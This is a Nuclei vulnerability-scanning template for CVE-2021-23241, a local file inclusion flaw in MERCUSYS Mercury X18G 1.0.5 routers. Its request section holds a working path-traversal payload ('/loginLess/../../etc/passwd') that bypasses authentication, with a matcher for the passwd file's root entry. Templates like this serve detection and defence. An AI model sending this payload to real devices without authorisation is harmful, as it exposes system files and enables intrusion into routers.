nuclei-templates/http/cves/2021/CVE-2021-23241.yaml

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id: CVE-2021-23241
info:
name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
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author: daffainfo
severity: medium
description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
reference:
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- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
- https://www.mercusys.com/en/
- https://www.mercurycom.com.cn/product-521-1.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-23241
cwe-id: CWE-22
epss-score: 0.00265
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cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
metadata:
max-request: 1
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vendor: mercusys
product: mercury_x18g_firmware
tags: cve,cve2021,iot,lfi,router
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http:
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- method: GET
path:
- "{{BaseURL}}/loginLess/../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
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part: body
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regex:
- "root:.*:0:0:"
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- type: status
status:
- 200